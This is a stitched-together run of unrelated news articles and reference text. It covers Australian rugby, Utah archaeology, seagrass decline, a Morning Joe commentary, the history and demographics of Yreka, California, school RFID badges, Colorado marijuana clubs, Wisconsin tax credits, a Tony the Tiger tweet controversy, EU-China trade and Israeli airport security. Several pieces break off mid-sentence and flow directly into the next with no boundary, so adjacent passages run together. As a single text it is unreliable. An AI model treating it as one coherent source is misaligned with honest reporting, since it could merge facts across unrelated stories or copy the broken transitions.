Michael Cheika has warned England his maturing Australia side will be prepared for dirty tricks off the ball at Twickenham on Saturday. The head coach is backing his players to sort out problems for themselves and will not be flagging up concerns to the New Zealand referee Ben O’Keeffe before the match.
Australia were the last team to defeat England at Twickenham, convincingly so during the 2015 World Cup, but they lost four times to the men in white last year, including a 3-0 whitewash in a home Test series. Cheika was then goaded into verbal sp |
orges as Grand Gulch, Fish, Owl and Slickhorn Canyons would immerse the wanderer in breathtaking scenery in its own right, even if those places were devoid of prehistoric human presence. But to stand beneath the dwellings, kivas and granaries of the Ancestral Puebloans, as well as the hogans in which Navajos once lived, and to stare at hallucinatory panels of rock art engraved and painted on the cliffs as long as thousands of years ago, is to plunge into a spiritual communion with the ancients, even if the meanings of those sites and panels lie in the limbo of the lost.
What’s still there may soon be lost, as well. Cedar Mesa embraces tens of thousands of archaeological sites that chronicle a 13,000-year history, from Paleo-Indian times until the late 19th century. Administered by the woefully understaffed federal Bureau of Land Management, the mesa is hammered every year by rampant looting that a small number of rangers are powerless to stop. The plateau and canyons remain, in the words of Josh Ewing, executive director of the group Friends of Cedar Mesa, “undoubtedly the most significant unprotected archaeological area in the United States.”
More ominously, perhaps, the Utah State Legislature has its eye on the roughly 500,000 acres of pinyon and juniper forests and its twisting sandstone canyons.Rising sea levels will lead to a drastic decline in seagrass stocks, a new study has found, but reducing water pollution may help offset the effects.
Seagrass is crucial to slowing climate change because of its remarkable capacity to absorb greenhouse gases, with some experts saying it is as important as forests in the fight against global warming.
The study, conducted by University of Queensland researchers published in the journal Global Change Biology, examined seagrass meadows along Queensland’s Moreton Bay.
The researchers calculated that seagrass there will decline by as much as 17% by 2100 if sea levels rise by 1.1 metres, unless water quality is improved or humans retreat from coastlines.
“Management to improve water quality will provide present and future benefits to seagrasses under climate change and should be a priority for managers seeking to compensate for the effects of global change on these valuable habitats,” the authors wrote in their study.
Threats
Seagrasses are important for maintaining biodiversity, habitats and offsetting carbon emissions. However, they will only flourish in a suitable [substrate](http://en.wikipedia.org/wiki/Substrate_(marine_biology) – the mud, sand and sediment in which seagrasses live.
The study looked at changes to water depth and clarity and the presence of roads, houses and other developments along inundated coastlines.
Seagrass meadows are under threat from urban development, declining water quality and increases in water depth due to sea level rise, which reduce the amount of light that can penetrate the water’s surface and reach the underwater foliage, they found.
“A scenario including the removal of impervious surfaces, such as roads and houses, from newly inundated regions, demonstrated that managed retreat of the shoreline could potentially reduce the overall decline in seagrass habitat to just 5%. The predicted reduction in area of seagrass habitat could be offset by an improvement in water clarity of 30%,” the researchers said in their paper.
Dr Megan Saunders, a researcher at the Global Change Institute at the University of Queensland and the study’s lead author, said the study’s findings should be used by government agencies who are responsible for managing coastal environments.
“If they want to maintain biodiversity, habitats for fisheries feeding grounds for turtle and dugong, and the key role that seagrass plays in sequestering carbon, they need to know how it’s likely to change over time,” Dr Saunders said.
“We are going to have to plan for the migration of coastal ecosystems, such as seagrass, due to sea level rise if we are to maintain the ecosystem services they provide,” she said.
Cutting our own legs off
Dr Peter Macreadie, Australian Research Council DECRA Fellow and a seagrass expert with the University of Technology, Sydney (UTS), said he was not surprised by the new findings.
“My colleagues and I at UTS predict, based on recent global estimates of seagrass decline, that if nothing is done to halt seagrass decline there will be none left in 50 years time,” he said.
“And that doesn’t take into account the effects of climate change; we just hit 400 ppm atmospheric CO2 for the first time in human history. The last time that happened was three million years ago, and it caused sea temperatures to go up by about 5 degrees Celsius and sea levels to rise as much as 40 metres.”
Dr Macreadie said that if nothing was done, the research suggests that seagrasses are in big trouble.
“These ecosystems provide immensely valuable ecosystem services to humanity, so not doing anything about their decline is equivalent to cutting our own legs off.”
Ugly ducklings
Carlos Duarte, Director of the University of Western Australia’s Oceans Institute, said the new study study offers a tool to managers to evaluate remedial actions for seagrass meadows.
“Whereas most studies have documented losses, this study takes a different approach at apportioning the stresses on seagrasses and projecting future losses in response to different scenarios, which is where the strength and innovation of the study rests,” said Dr Duarte, who was not involved in the study.
“Seagrass ecosystems are the ugly ducklings of marine conservation, yet they play key roles in sequestering CO2, protecting our coastlines and maintaining biodiversity.”Joe Scarborough wants viewers to know that we are living in very different times. How different?
While the political landscape may have seemed particularly divided in the past, Mr. Scarborough reveals that he would always calm the frayed nerves on either side of the aisle — whether it was his mother or his friends on the Upper West Side. But things are different now under President Donald Trump.
Scarborough opens the clip above by soberly, and sadly, stating that can no longer tell his friends and family that things will be okay because he holds the sitting president in such low esteem. “Donald Trump is not a kind man. He’s a mean man. He’s crude. He’s brutal. He says horrible things. He’s insulting.”
In other words, everyone freak out.
It’s not terribly surprising that Morning Joe would provide such hyperbolic and harsh criticism of the sitting president, which has become something of a hallmark of his show in the past year. And most of the criticism has been fair.
What is surprising, and bears repeating, is that Joe Scarborough and his co-host Mika Brzezinski enjoyed a especially symbiotic relationship with then candidate Trump in he run up to the general election. And it seems fairly clear to anyone paying attention to Morning Joe programming over the past couple years that Scarborough’s over-the-top critique of President Trump is also an admission of his really poor judgment in 2016 when he and Mika enjoyed such a cozy and mutually beneficial relationship with Mr. Trump.
So either Scarborough is employing that time-honored chestnut of hyperbolic criticism, or this is an admission that he was completely off the mark during the presidential campaign. And if it’s the later, then why would viewers give the Morning Joe host any credibility to believe what he’s saying now?
Watch the clip above courtesy of MSNBC.
–image via screen capture–
Have a tip we should know? tips@mediaite.comNot to be confused with Eureka, California
City in California
Yreka ( wy-REE-kə) is the county seat of Siskiyou County, California, United States, located near the Shasta River at 2,500 feet (760 m) above sea level and covering about 10.1 sq mi (26 km2) area, of which most is land. As of the 2010 United States Census, the population was 7,765, reflecting an increase of 475 from the 7,290 counted in the 2000 Census. Yreka is home to the College of the Siskiyous, Klamath National Forest Interpretive Museum and the Siskiyou County Museum. Its gold mining heritage is commemorated by the high school team which uses a gold miner as their name and mascot.
History [ edit ]
In March 1851, Abraham Thompson, a mule train packer, discovered gold near Rocky Gulch while traveling along the Siskiyou Trail from southern Oregon. By April 1851, 2,000 miners had arrived in "Thompson's Dry Diggings" to test their luck, and by June 1851, a gold rush "boomtown" of tents, shanties, and a few rough cabins had sprung up. Several name changes occurred until the little city was called Yreka. The name comes from the Shasta language /wáik'a/, for which Mount Shasta is named.[7] The word means "north mountain" or "white mountain".[8][9]
Mark Twain tells a different story:
Harte had arrived in California in the [eighteen-]fifties, twenty-three or twenty-four years old, and had wandered up into the surface diggings of the camp at Yreka, a place which had acquired its mysterious name — when in its first days it much needed a name — through an accident. There was a bakeshop with a canvas sign which had not yet been put up but had been painted and stretched to dry in such a way that the word BAKERY, all but the B, showed through and was reversed. A stranger read it wrong end first, YREKA, and supposed that that was the name of the camp. The campers were satisfied with it and adopted it.[10]
Poet Joaquin Miller described Yreka during 1853–1854 as a bustling place with "... a tide of people up and down and across other streets, as strong as if a city on the East Coast".[11] Incorporation proceedings were completed on April 21, 1857.[11]
Lynchings [ edit ]
There have been two documented lynchings in the town of Yreka. The first took place on August 26, 1895, when four men – William Null, Garland Stemler, Luis Moreno, and Lawrence Johnson – awaiting trial for various charges of murder and robbery,[12] were simultaneously hanged by a lynch mob from a railroad tie suspended from two adjacent trees.[13][14]
The second lynching occurred about 40 years later on July 28, 1935. Clyde Johnson and Robert Miller Barr robbed a local business and its patrons in Castella, California.[15] The pair then stole a car from a patron and drove north to Dunsmuir, California, where they planned to abandon the automobile and make a getaway by train. Soon after they abandoned the car north of Dunsmuir, the pair was stopped by California Highway Patrolman George “Molly” Malone and Dunsmuir titular Chief of Police, 38-year-old Frank R. "Jack" Daw. Johnson pulled out a Luger pistol and wounded both policemen. Malone recovered, but Daw died the next day.[16] Clyde Johnson was caught a few hours later by a dragnet and was taken into custody. Barr, who was holding the $35 that they got from the robbery, panicked during the shootout and ran off into the woods, then escaped on a freight train. Jack Daw was a beloved figure in Dunsmuir. His title of Chief of Police was honorary, given to him because of his cool head and experience as a World War I veteran. The night of Daw's funeral a dozen cars from Dunsmuir, carrying approximately 50 masked men, drove north to Yreka to lynch Johnson. On August 3, 1935 at 1:30am, the vigilante mob reached the Yreka jail and lightly knocked on the door. Deputy Marin Lange, the only guard on duty at the jail, opened the door slightly and was quickly overtaken. He was driven nine miles east of Yreka where he was released, barefoot. The mob proceeded to search the jail, found Johnson, drove him away in one of the cars and hanged him from a pine tree.[17][18][19] Barr was arrested over a year later, on September 4, 1936, in Los Angeles on a burglary charge.[20] During his time on the lam, he got a part as an extra in the Nelson Eddy/Jeanette MacDonald film, Rose Marie, scenes of which were filmed near Lake Tahoe. He is credited in the film under his real name.[21]
Geography [ edit ]
Phlox hirsuta) is the city's official flower. The Yreka Phlox () is the city's official flower.
Yreka is located at approximately 2,500 feet (760 m) above sea level in the Shasta Valley, south of the Siskiyou Mountains and north of Mount Shasta, a 14,000 ft (4,300 m) dormant volcano which towers over the valley.
According to the United States Census Bureau, the city has a total area of 10.1 sq mi (26 km2), of which 10.0 square miles (26 km2) is land and 0.1 square miles (0.26 km2) (0.72%) is water.
Natural history [ edit ]
The official city flower of Yreka is the Yreka phlox (Phlox hirsuta).[22]
The only known specimen of Calochortus monanthus, the single-flowered mariposa lily, was collected near Yreka along the banks of the Shasta River by botanist Edward Lee Greene, in June 1876.[23]
Nearby settlements [ edit ]
Nearby places include:[24]
Montague: 6.4 miles (10.3 km) east
Grenada: 11.5 miles (18.5 km) southeast
Fort Jones: 17.2 miles (27.7 km) southwest
Klamath River: 24.3 miles (39.1 km) northwest
Hornbrook: 15.1 miles (24.3 km) north
Climate [ edit ]
According to the Köppen climate classification system, Yreka qualifies as having a hot-summer Mediterranean climate (Csa), but almost qualifies as having a warm-summer Mediterrean climate (Csb).
Climate data for Yreka, California Month Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec Year Record high °F (°C) 66
(19) 74
(23) 81
(27) 96
(36) 103
(39) 109
(43) 112
(44) 110
(43) 107
(42) 95
(35) 87
(31) 66
(19) 112
(44) Average high °F (°C) 45.9
(7.7) 51.4
(10.8) 58.0
(14.4) 63.8
(17.7) 73.2
(22.9) 81.8
(27.7) 91.8
(33.2) 91.2
(32.9) 83.1
(28.4) 70.0
(21.1) 52.8
(11.6) 44.7
(7.1) 67.3
(19.6) Daily mean °F (°C) 35.4
(1.9) 39.0
(3.9) 44.0
(6.7) 48.9
(9.4) 56.7
(13.7) 63.9
(17.7) 71.8
(22.1) 70.8
(21.6) 63.5
(17.5) 52.7
(11.5) 40.8
(4.9) 34.6
(1.4) 51.8
(11.0) Average low °F (°C) 24.9
(−3.9) 26.5
(−3.1) 29.9
(−1.2) 33.9
(1.1) 40.1
(4.5) 45.9
(7.7) 51.7
(10.9) 50.4
(10.2) 43.8
(6.6) 35.3
(1.8) 28.8
(−1.8) 24.4
(−4.2) 36.3
(2.4) Record low °F (°C) −11
(−24) −11
(−24) 0
(−18) 17
(−8) 20
(−7) 26
(−3) 34
(1) 33
(1) 20
(−7) 7
(−14) 1
(−17) −11
(−24) −11
(−24) Average precipitation inches (mm) 3.09
(78) 2.07
(53) 1.63
(41) 1.27
(32) 1.31
(33) 0.97
(25) 0.55
(14) 0.36
(9.1) 0.54
(14) 1.11
(28) 2.92
(74) 3.97
(101) 19.79
(503) Average snowfall inches (cm) 3.7
(9.4) 2.6
(6.6) 0.9
(2.3) 0.2
(0.51) 0
(0) 0
(0) 0
(0) 0
(0) 0
(0) 0.1
(0.25) 1.3
(3.3) 3.7
(9.4) 12.4
(31) Average precipitation days (≥ 0.01 in) 13.2 9.7 10.3 8.7 7.6 4.6 3.0 2.5 2.7 5.3 11.4 12.7 91.7 Average snowy days (≥ 0.1 in) 2.0 1.2 0.5 0.2 0 0 0 0 0 0 0.8 1.8 6.7 Source: NOAA [25]
Demographics [ edit ]
Historical population Census Pop. %± 1860 1,327 — 1870 1,063 −19.9% 1880 1,059 −0.4% 1890 1,100 3.9% 1900 1,254 14.0% 1910 1,134 −9.6% 1920 1,277 12.6% 1930 2,126 66.5% 1940 2,485 16.9% 1950 3,227 29.9% 1960 4,759 47.5% 1970 5,394 13.3% 1980 5,916 9.7% 1990 6,948 17.4% 2000 7,290 4.9% 2010 7,765 6.5% Est. 2016 7,596 [6] −2.2% U.S. Decennial Census[26]
2010 [ edit ]
The 2010 United States Census[27] reported that Yreka had a population of 7,765. The population density was 772.5 people per square mile (298.2/km²). The racial makeup of Yreka was 6,495 (83.6%) White, 57 (0.7%) African American, 491 (6.3%) Native American, 94 (1.2%) Asian, 9 (0.1%) Pacific Islander, 168 (2.2%) from other races, and 451 (5.8%) from two or more races. Hispanic or Latino of any race were 753 persons (9.7%).
The Census reported that 7,718 people (99.4% of the population) lived in households, 33 (0.4%) lived in non-institutionalized group quarters, and 14 (0.2%) were institutionalized.
There were 3,394 households, out of which 983 (29.0%) had children under the age of 18 living in them, 1,338 (39.4%) were married couples, 471 (13.9%) had a female householder with no husband present, 160 (4.7%) had a male householder with no wife present. There were 269 (7.9%) unmarried couples, and 17 (0.5%) gay couples. 1,202 households (35.4%) were made up of individuals and 636 (18.7%) had someone living alone who was 65 years of age or older. The average household size was 2.27. There were 1,969 families (58.0% of all households); the average family size was 2.92.
The population was spread out with 1,871 people (24.1%) under the age of 18, 678 people (8.7%) aged 18 to 24, 1,603 people (20.6%) aged 25 to 44, 2,119 people (27.3%) aged 45 to 64, and 1,494 people (19.2%) who were 65 years of age or older. The median age was 41.7 years. For every 100 females, there were 89.5 males. For every 100 females age 18 and over, there were 84.5 males.
There were 3,675 housing units at an average density of 365.6 per square mile (141.2/km²), of which 1,751 (51.6%) were owner-occupied, and 1,643 (48.4%) were occupied by renters. The homeowner vacancy rate was 2.4%; the rental vacancy rate was 6.7%. 3,895 people (50.2% of the population) lived in owner-occupied housing units and 3,823 people (49.2%) lived in rental housing units.
2000 [ edit ]
As of the census[28] of 2000, there were 7,290 people, 3,114 households, and 1,880 families residing in the city. The population density was 730.8 per square mile (282.0/km2). There were 3,303 housing units at an average density of 331.1 per square mile (127.8/km2). The racial makeup of the city was 86.6% White, 0.5% African American, 6.0% Native American, 1.8% Asian, 0.1% Pacific Islander, 1.7% from other races, and 3.3% from two or more races. Hispanics or Latinos of any race were 5.4% of the population.
There were 3,114 households, out of which 29.4% had children under the age of 18 living with them, 43.8% were married couples, 13.0% had a female householder with no husband present, and 39.6% were non-families. 34.8% of all households were made up of individuals and 17.2% had someone living alone who was 65 years of age or older. The average household size was 2.27 and the average family size was 2.92.
In the city, the population was spread out, with 25.5% under the age of 18, 7.8% from 18 to 24, 23.5% from 25 to 44, 23.8% from 45 to 64, and 19.4% who were 65 years of age or older. The median age was 41 years. For every 100 females, there were 88.3 males. For every 100 females, age 18 and over, there were 83.9 males.
The median income for a household in the city was $27,398, and the median income for a family was $37,448. Males had a median income of $31,632 versus $23,986 for females. The per capita income for the city was $16,664. About 17.5% of families and 21.2% of the population were below the poverty line, including 33.6% of those under age 18 and 8.8% of those age 65 or over.
Economy [ edit ]
Tourists visit Yreka because it is located at the northern edge of the Shasta Cascade area of northern California. The core of the historic downtown, along West Miner Street, is listed as an historic district on the National Register of Historic Places, as well as a California Historical Landmark. Yreka is home to the Siskiyou County Museum,[32] and to a number of Gold Rush-era monuments and parks. Visitors also come to enjoy trout fishing in the nearby Klamath,[33] Sacramento[34][35] and McCloud[33][34] Rivers, or come to see and climb Mount Shasta, Castle Crags or the Trinity Alps. Visitors also ski (both alpine and cross-country), or bike or hike to the waterfalls, streams and lakes in the area, including nearby Falls of the McCloud River, Burney Falls, Mossbrae Falls, Lake Siskiyou, Castle Lake and Shasta Lake.
The town hosts Gold Rush Days every year in June.
In addition, because it is the county seat of Siskiyou County, a number of businesses related to the County courts, County Recorder, and other official county functions are located in the city. Butte Valley National Grassland s located in northern Siskiyou County, near the Oregon border but is administered from Yreka offices.[36][37]
Government [ edit ]
In the state legislature Yreka is in the 1st Senate District, seat currently vacant,[38] and the 1st Assembly District, represented by Republican Brian Dahle.[39]
Federally, Yreka is in California's 1st congressional district, represented by Republican Doug LaMalfa.[40]
Education [ edit ]
Yreka is home to a branch campus of the College of the Siskiyous[41] which hosts the Rural Health Science Institute[42] and Administration of Justice programs. The College is one of 10 California Community Colleges to offer on campus lodging.[43] High school buses carry students from towns that would not otherwise be able to fund a secondary education.
In Yreka, the gold-mining era is commemorated with a gold museum, as well as with a remnant of a silver mining operation in Greenhorn Park. The Yreka Union High School District sports mascot is a gold miner. School colors are red and gold. Yreka High School was the first high school in the county, founded in 1894. It currently has eleven feeder districts which serve the approximately 1,200 square miles (3,100 km2) county area.[44]
The Yreka elementary school district is composed of Evergreen Elementary as well as the Jackson Street Middle School.
Media [ edit ]
The city and county are served by a daily newspaper, the Siskiyou Daily News, as well as 13 FM and one AM station. Yreka Community Television Channel 4 (commonly known as YCTV 4) is a small public-educational-and-government-access cable TV run by the city of Yreka.[45]
Infrastructure [ edit ]
Transportation [ edit ]
Interstate 5 is the primary north-south route through Yreka, connecting Redding and Sacramento to the south, and the Oregon border to the north. Interstate 5 through the city follows the former path of the Siskiyou Trail, which stretched from California's Central Valley to Oregon's Willamette Valley.[46]
California State Route 3 runs east to Montague, and west to Fort Jones and Weaverville. California State Route 263 serves as a business loop of Interstate 5 through the northern part of the city.
General aviation uses the Montague Airport in Montague, 6 miles (9.7 km) to the east.
Notable people [ edit ]
Palindromes [ edit ]
"Yreka Bakery" is a palindrome. The loss of the “B” in a bakery sign read from the reverse is mentioned as a possible source of the name Yreka in Mark Twain's autobiography.[10][63] The original Yreka Bakery was founded in 1856 by baker Frederick Deng.[64] The palindrome was recognized early on: “spell Yreka Bakery backwards and you will know where to get a good loaf of bread” is quoted as an ad in the Yreka Semi-Weekly Journal May 23, 1863 and states that twelve loaves sold for $1.[64] The Yreka Bakery moved eventually to its long-time location, 322 West Miner Street, where it remained under several ownerships until it closed in 1965 on retirement of the baker "Martin", and clerk Alta Hudson.[citation needed] Another Yreka Bakery reopened in a different location in 1974,[64] but is no longer in business.[65] Author Martin Gardner mentioned that Yreka Bakery was in business on West Miner Street in Yreka,[66]:246 but it was pointed out by readers "the Yreka Bakery no longer existed. In 1970 the original premises were occupied by the art store Yrella Gallery, also a palindrome".[66]:251 The historic building, the Brown-Nickell-Authenrieth Building, 322–324 West Miner Street, currently houses a restaurant.[67]
See also [ edit ]An illustration shows the ID cards that John Jay High School students are required to wear. They include embedded RFID chips that can pinpoint the student’s location on campus. Northside Independent School District
A Texas public school district’s controversial pilot program to keep track of its students on campus with Radio Frequency Identification (RFID) chips has survived a legal challenge in federal court. On Tuesday, U.S. District Judge Orlando Garcia dismissed a request for a preliminary injunction from Andrea Hernandez, a sophomore at John Jay High School in San Antonio who refused to wear the school’s ID cards on religious grounds.
The girl’s evangelical Christian father, Steven Hernandez, had equated the badges to the Biblical “mark of the beast.” Northside Independent School District officials told Andrea last fall she would have to either wear the card or transfer from John Jay, a magnet school, to her local campus, which is not part of the RFID pilot program. Lawyers from the nonprofit Rutherford Institute took the girl’s case, seeking an injunction to block the school from enforcing its policy.
Tech blogs, civil rights groups, and even Anonymous joined the fray on the family’s side, calling the RFID badges an egregious invasion of privacy. But as I reported in November, the outrage overlooked a crucial fact: The district had offered Hernandez a compromise, allowing her to wear the ID card with the chip removed. She and her father refused, saying that would amount to showing support for a program that violates their religious convictions.
The judge disagreed. In a 25-page ruling, he wrote that Hernandez’s refusal to wear the badge even without the tracking chip undermined her claims that the district was violating her religious freedom. “Plaintiff’s objection to wearing the Smart ID badge without a chip is clearly a secular choice, rather than a religious concern,” Garcia wrote.
Some claims of religious discrimination are subject to heightened scrutiny in court, but Garcia opined that the school’s policy didn’t qualify, because it applied equally to all students. And the program “easily passes” the less-stringent “rational basis” test, he went on, because the district has “a legitimate need to easily identify its students for purposes of safety, security, attendance, and funding.” Requiring all students to carry a Smart ID badge is “certainly a rational means to meet such needs,” he added. For example, he wrote:
Very recently, a parent of a special needs student was concerned that the child did not get on the bus after school, and the school staff was able to pull the sensor readings to determine when the student was on campus and when he left, thus reassuring the parent. On another occasion, a building was evacuated and campus administrators were able to quickly identify and locate students’ badges that had been left in the building during the evacuation.
Garcia also dismissed a separate claim that requiring Hernandez to wear the ID card without the chip would violate her freedom of speech. While students in public schools “do not shed their constitutional rights to freedom of speech or expression at the schoolhouse gate,” he wrote, they don’t automatically have all the same rights as adults would in other settings.
The judge concluded that the student must either accept the school’s compromise and wear the badge without the chip, or return to her home school next semester.
The Rutherford Institute said in a statement that it will appeal the decision. “The Supreme Court has made clear that government officials may not scrutinize or question the validity of an individual’s religious beliefs,” said John Whitehead, president of the nonprofit civil rights law group. “By declaring Andrea Hernandez’s objections to be a secular choice and not grounded in her religious beliefs, the district court is placing itself as an arbiter of what is and is not religious. This is simply not permissible under our constitutional scheme, and we plan to appeal this immediately.”
So it seems that the appeal, too, will focus on religious beliefs rather than privacy concerns. That’s a shame, because the privacy issues around the use of RFID chips in schools (and elsewhere) are far more interesting. Let’s hope they get a thorough airing—somehow, somewhere—before the technology becomes so pervasive that we take it for granted.DENVER (AP) — The Colorado Senate on Thursday passed a first-in-the-nation bill expressly permitting marijuana clubs. But Gov. John Hickenlooper is hinting that he’ll veto the measure unless it bans indoor smoking.
The bill allows local jurisdictions to permit bring-your-own pot clubs, as long as those establishments don’t serve alcohol or any food beyond light snacks.
The bill doesn’t say whether those clubs could allow people to smoke pot indoors. That means it would be possible for a membership club that is closed to the public and has no more than three employees to permit indoor pot smoking.
Sponsors say the bill is necessary because Colorado already has a network of underground, unregulated pot clubs, and towns aren’t sure how to treat them.
Pot clubs could help alleviate complaints that Colorado’s sidewalks and public parks have been inundated with pot smokers since the state legalized recreational weed in 2012.
“We have a lot of problems throughout this state of people publicly using marijuana,” said Sen. Bob Gardner, a Colorado Springs Republican and sponsor of the club bill.
The measure sets up a showdown with the Democratic governor, who has told reporters that clubs could invite federal intervention in Colorado’s pot market.
Colorado is in violation of federal drug law for not making it a crime to smoke pot, and U.S. Attorney General Jeff Sessions and other members of the Trump administration have said states should not be able to legalize pot.
“I do think given the uncertainty in Washington that this is not the year to be out there carving off new turf and expand markets and make dramatic statements about marijuana,” Hickenlooper told reporters Wednesday.
Further, the governor seemed to chafe at the fact that the club bill doesn’t expressly ban indoor smoking. A separate pot-club measure going into effect in Denver limits smoking marijuana to special patios, meaning people could eat or vaporize pot indoors but not burn it.
“Smoking is bad for you,” Hickenlooper said. “I’m not sure that’s a great thing to be encouraging.”
Lawmakers who support clubs disagree that the bill encourages indoor smoking.
“These marijuana membership clubs are so private that’s they’re more akin to being in your living room than to being in a restaurant,” Gardner said.
Ten Republicans voted against the pot club bill. Some of them said they fear it’ll be impossible to stop people from sharing or selling weed inside the clubs, even though marijuana sales in clubs are banned under the bill.
“How are we supposed to stop that?” asked Sen. John Cooke, R-Greeley.
The bill passed on a 25-10 vote and now heads to the House, where its prospects are strong. One possible sticking point is that the bill bars food service in the clubs but allows them to sell light snacks that aren’t defined.
State liquor regulations already bar the sale of alcohol and marijuana at the same place, so the clubs would look more like Amsterdam coffee shops than pot bars.
“I’m sure you can drink coffee and smoke marijuana, you just can’t drink whiskey and smoke marijuana,” Gardner said.Gov. Scott Walker’s line item budget veto this week to Wisconsin’s historic preservationtax credit program, reducing the per-project cap from $5 million to $500,000, could jeopardize dozens of real estate developments.
“We have several projects on the drawing board in different phases that will be directly affected to the point of being infeasible by this and in complete suspension right now,” said Sig Strautmanis of General Capital. “I can promise you there is one project we are working on right now in particular that absolutely depends on state historic tax credits and in all likelihood will come to a screeching halt unless the governor comes to an understanding about the potential impact of this.”
In his veto language, Walker said he objects to continuing a program with almost no limitation on the amount that can be awarded each fiscal year.
“The $5 million per parcel limitation does little to curtail the fiscal effects of this program, which has swelled to cause an annual tax revenue loss exceeding $60 million, making it one of this state’s most expensive economic development incentives,” Walker said. “Reducing the per parcel cap to $500,000 per parcel leaves unchanged the incentives for many of the projects in smaller communities across Wisconsin, while reducing the state’s fiscal exposure on larger projects.”
The change goes into effect on July 1, |
Bishop will be among our guests Wednesday as we examine Zinke’s appointment and what it means for Utah.
Congressman Rob Bishop is the U.S. Representative for Utah's 1st congressional district, serving since 2003. He's also the chairman of the House Committee on Natural Resources.
Esther Whieldon is a reporter for Politico.com, where she covers alternative energy with a focus on renewables at both the state and federal level.
CORRECTION: This post previously misstated Ryan Zinke's former position in the Legislative branch. He served as a U.S. Representative from Montana, not as a Senator.Earlier this month, the Tony the Tiger Twitter account tweeted out a GIF of milk being poured into a bowl of Frosted Flakes. They tagged the post with #blushing and commented on how attractive the cartoon tiger looked on the box.
A few weeks after Boivin said that he'd fuck Tony the Tiger, he was alerted by Twitter's support team that his account would be suspended for a week.
"There was about a two-week gap from the tweet to it getting suspended," Boivin told BuzzFeed News. "Which seems weird because isn't someone at the Kellogg's social media team getting notifications of this? Or does the Twitter team just take that long to get to these things?"
The whole thing is especially strange because the replies to Tony the Tiger's tweets are typically really sexually explicit.
Most people are probably not aware that there's a popular meme where people sexually harass Tony the Tiger.
In January 2016, the sexual harassment of Tony the Tiger got so bad, members of the Kellogg's social media team mass-blocked a bunch of furries.
“As a company grounded in the values of integrity and respect, we recognize people’s right to creative expression," a spokesperson said. "But we reserve the right to block individuals who post offensive content."
Boivin said the tweet was a spur-of-the-moment thing that he just thought was funny.
"The Tony tweet popped into my feed as a promoted tweet, I have a special loathing of these things. If you give me an opportunity to interact with a #brand that's popping into my timeline without my consent, I'm gonna get weird," he said. "I thought 'I'd fuck that tiger' would be a funny joke and tweeted it without giving it a second thought. Just the idea of sexualizing this corporate cereal mascot struck me as a suitably bizarre thing to share with the sort of people who like to interact with promoted tweets from multi-billion-dollar food processing conglomerates."
Boivin added that he was unaware that sexually harassing Tony the Tiger was a meme among furries.
"I'm happy for them to be doing their thing, it's just not for me," he said. "But I guess that this whole episode just proves that we have more in common than we may ever know."German Chancellor Angela Merkel has pledged to do her utmost to avoid an EU-China trade war over subsidies for solar panels and wireless equipment as she welcomed the new Chinese Prime Minister, Li Keqiang, in Berlin on Sunday (26 May).
"Germany will do what it can so that there are no permanent import duties and we'll try to clear things up as quickly as possible," she said in a press conference after meeting Li.
The European Commission is considering to impose import duties on Chinese solar panel and wireless device companies for exporting products to the European market that are artificially kept cheap thanks to subsidies from the Chinese government.
Merkel said that the commission has the authority to launch such procedures.
But she noted that the idea of imposing permanent tariffs is not something Germany "believes in." She also said she wishes to see the conflict solved within six months.
Li, who has been in office only since March, said he "emphatically rejects" the =commission's planned sanctions.
"It not only endangers jobs in Germany. It will also endanger the development of the sector in Europe. That will harm the interests of the European consumers and Europe's industry," he said.
Li made a point by not including Brussels on his first trip abroad, with Berlin being the only EU capital he visited after a stop in Switzerland, which became the second European country to sign a free trade agreement with China after Iceland.
Earlier this month, EU trade commissioner Karel De Gucht said the commission had agreed in principle to open a case against China, but would first seek talks with Beijing.
China's vice-minister for commerce Zhong Shan was due to meet De Gucht later on Monday for talks on the matter, the Chinese government said in a press statement on Sunday.
Trade disputes between China and Europe have multiplied over the past years, with 18 out of EU's 31 current trade investigations involving the Asian giant.
As for the German economy, the Chinese visit yielded a series of deals between car manufacturers like Volkswagen and chemical giant Basf.
In a bid to appease criticism from civil rights groups, Merkel also announced the continuation of a human rights dialogue between Berlin and Beijing.
Just days before the official visit, Chinese dissident Ai Weiwei put out a Youtube video decrying China's human rights record.
"In the past 60 years there have been innumerable amounts of people who have been killed or sent away from their homes, even tortured to death," said Ai who was convicted by Chinese authorities in 2011 for alleged tax evasion.
The music video is a parody of his time spent in jail.Earlier this month, Haaretz reported that three female Palestinian citizens of Israel were suing El Al and Arkia airlines for the humiliating treatment they received before boarding a flight in Belgrade back to Tel Aviv.
One of the plaintiffs told Haaretz that they were taken aside from the group that they were with and subject to intrusive body strip searches because “we are Arab and also because we are women”.
The racist discrimination faced by Palestinian citizens of Israel has been well-documented over the years, but the gendered nature of this racism is sometimes overlooked.
Gender proves to be an effective tool in which to violate and humiliate people and, more often than not in conflict and war, women are the ones that fall victim.
What happened to the women suing the airlines reminds me of a similar incident that happened to me three years ago.
The mistaken flight
I had booked a flight to Cyprus from Ben-Gurion airport through an airline unknown to me. Unfortunately at the time, I failed to notice the small print that stated the flight was “operated by Al El”.
In addition to boycotting the airline on principle, I would have also avoided flying with it because it is well known that it allows Israeli security services to operate out of foreign airports under the guise of the airline’s security. Indeed, Al Jazeera obtained leaked cables in 2015 which revealed that “Israel uses its flag-carrier, El Al Airlines, as cover for its intelligence agencies”.
It is well known that El Al allows Israeli security services to operate out of foreign airports under the guise of the airline’s security
But I only realised my mistake on the outward journey. On the return trip, I arrived at the airport desk in Larnaca and handed over my passport only to be immediately taken aside by a Cypriot security guard who explained that I would have to undergo a “security check” by the airline.
The man led me down a corridor into a small room which to my surprise, was covered in “Welcome to Israel” posters that depicted popular tourist spots such as the Dead Sea, Haifa and Tel Aviv’s beaches. This was a crude and clear signal that I was under Israeli jurisdiction now.
I was told to sit down and introduced to two Israeli security agents who would be overseeing my personalised security check. They went through every item in my luggage, questioning where everything was from, and suspiciously took my electronic equipment apart as I sat helplessly watching. They then proceeded to do a “body check” where I was stripped down to my underwear.
Once they were done, they assigned a female Israeli security agent to escort me through the airport in a similar fashion to the treatment of the women in Belgrade. This agent even followed me to the bathroom and stood outside the cubicle.
Six with a star
The unusual nature of this particular Israeli security harassment was that it happened on foreign soil, because, when I fly from Ben-Gurion, which I frequently do, this happens every single time. As a Palestinian citizen of Israel, I am lucky enough that my occupiers grant me this passage and freedom of movement denied to so many of my Palestinian brothers and sisters.
The airport operates a security system which is so obvious in its racism and discrimination that it has become a favourite anecdote of foreigners
But the process of leaving the country has never been easy or straightforward. The airport operates a security system, which is so obvious in its racism and discrimination that it has become a favourite anecdote of foreigners when leaving the country who often brag about the security rating they receive - as if it proves their ultimate solidarity with Palestinians.
